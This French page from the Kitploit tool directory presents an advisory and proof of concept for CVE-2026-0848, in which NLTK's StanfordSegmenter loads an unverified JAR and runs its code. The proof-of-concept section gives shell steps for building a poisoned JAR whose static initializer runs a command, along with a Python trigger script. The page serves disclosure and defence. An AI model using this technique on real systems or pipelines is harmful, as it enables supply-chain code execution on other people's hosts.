Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter charge dynamiquement des fichiers .jar Java externes sans vérification ni sandboxing. Si un attaquant peut fournir ou remplacer le JAR (par exemple, un téléchargement de modèle empoisonné, un échange de paquet MITM ou un empoisonnement des dépendances), du bytecode Java arbitraire s'exécute au moment de l'importation. | Kitploit
Outils/GitHubGitHub/hyperps/cve-2026-0848
Analyse des VulnérabilitésAnalyse de CodeExploitationSécurité de la Chaîne LogistiqueArticles et RechercheApprentissage et Éducation
GitHubhyperps/cve-2026-0848

CVE-2026-0848

Voir le dépôt
12il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

nltk.tokenize.StanfordSegmenter charge dynamiquement des fichiers .jar Java externes sans vérification ni sandboxing. Si un attaquant peut fournir ou remplacer le JAR (par exemple, un téléchargement de modèle empoisonné, un échange de paquet MITM ou un empoisonnement des dépendances), du bytecode Java arbitraire s'exécute au moment de l'importation.

Partager

CVE-2026-0848 — NLTK StanfordSegmenter : exécution de code arbitraire via chargement d'un JAR non fiable


Aperçu

ChampDétails
ID CVECVE-2026-0848
Paquetnltk (Natural Language Toolkit)
RegistrePyPI
Versions affectées<= 3.9.2
Type de vulnérabilitéCWE-20 : validation inappropriée des entrées
Score CVSS10.0 (Critique)
Vecteur d'attaqueRéseau
Complexité de l'attaqueFaible
Privilèges requisAucun
Interaction utilisateurAucune
PortéeModifiée
Impact sur la confidentialitéÉlevé
Impact sur l'intégritéÉlevé
Impact sur la disponibilitéÉlevé
Signalée le6 décembre 2025
CVE publiée lemars 2026
Soutenu parPalo Alto Networks / Prisma AIRS

Description

nltk.tokenize.StanfordSegmenter charge dynamiquement des fichiers Java .jar externes via subprocess sans effectuer de vérification d'intégrité, de contrôle de signature ni de sandboxing. La classe accepte des paramètres entièrement contrôlés par l'attaquant, notamment path_to_jar, path_to_model, path_to_dict et java_class, et les transmet directement à une invocation java -cp.

Si un attaquant peut fournir ou remplacer le fichier JAR — via un téléchargement de modèle empoisonné, un échange de paquet par interception (man-in-the-middle), un empoisonnement de dépendance ou un miroir de version corrompu — du bytecode Java arbitraire s'exécute au moment du chargement de la classe via le mécanisme d'initialisation statique de la JVM. Cela constitue une vulnérabilité d'exécution de code à distance (RCE) via la chaîne d'approvisionnement et échappe complètement à l'environnement d'exécution Python.


Composants affectés

FichierLignesDescription
nltk/tokenize/stanford_segmenter.pyL53–L118Accepte les paramètres contrôlés par l'attaquant path_to_jar, path_to_model, path_to_dict et java_class sans aucune validation
nltk/internals.pyL220–L300Lance l'exécution de Java directement avec un chemin de JAR et un classpath contrôlés par l'utilisateur, sans sandboxing ni vérification de somme de contrôle
nltk/internals.pyL109–L152subprocess.Popen() exécute Java avec une entrée de classpath non validée, permettant à la JVM de charger du bytecode arbitraire et d'exécuter des initialiseurs statiques

Vecteur CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MétriqueValeur
Vecteur d'attaqueRéseau
Complexité de l'attaqueFaible
Privilèges requisAucun
Interaction utilisateurAucune
PortéeModifiée
ConfidentialitéÉlevée
IntégritéÉlevée
DisponibilitéÉlevée

Impact

Une exploitation réussie donne à un attaquant un contrôle total sur le système exécutant le processus de segmentation NLTK :

  • Exécution de code Java arbitraire — Tout bytecode intégré dans le JAR malveillant s'exécute avec les privilèges du processus Python/Java
  • Évasion de l'environnement Python — L'exécution passe dans la JVM, contournant entièrement le sandboxing au niveau Python
  • Exécution de commandes au niveau du système d'exploitation — Les attaquants peuvent invoquer Runtime.getRuntime().exec() ou ProcessBuilder pour exécuter des commandes shell arbitraires
  • Vol et modification de données — Accès à tous les fichiers, variables d'environnement, clés API et secrets lisibles par le processus
  • Compromission complète de l'environnement — Dans les pipelines CI/CD, les pipelines NLP de production ou les environnements serveur, un seul JAR malveillant mène à une prise de contrôle complète de l'hôte

Scénarios de déploiement à haut risque

ScénarioImpact
Un chercheur en ML charge un segmentateur pré-entraîné depuis InternetUn attaquant distant obtient l'exécution de code
L'organisation télécharge un ZIP de modèle de segmentation chinois corrompuUn logiciel malveillant s'exécute dans le pipeline NLP de production
Le serveur CI/CD installe le modèle via wget/unzip depuis un miroir non-HTTPSCompromission complète de l'environnement
Prise de contrôle de dépendance ou miroir de version empoisonnéRCE complète de la chaîne d'approvisionnement

Cette vulnérabilité affecte tout flux de travail NLP utilisant StanfordSegmenter, notamment les chatbots, les pipelines de prétraitement de LLM, la segmentation de jeux de données, la classification de documents et les services d'inférence en production.


Preuve de concept

Ces informations sont fournies à des fins éducatives et défensives uniquement. Ne testez pas sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite.

Étape 1 — Remplacer le classifieur principal par une classe Java malveillante

cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Étape 2 — Construire le JAR malveillant

mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Étape 3 — Déclencher via NLTK

# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Sortie :

[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

Confirmer la RCE :

ls /tmp | grep pwned_hijack
# pwned_hijack

Cause racine

La vulnérabilité existe dans deux fichiers :

stanford_segmenter.py — Le constructeur de la classe StanfordSegmenter accepte path_to_jar, path_to_model, path_to_dict et java_class comme simples arguments de chaîne et les transmet directement à la couche d'exécution Java sans effectuer aucune des opérations suivantes :

  • Liste blanche des chemins ou application d'un répertoire de confiance
  • Vérification de la signature SHA-256 ou cryptographique du JAR
  • Validation du paramètre java_class par rapport à un ensemble connu de noms de classes sûrs
Télécharger l’outil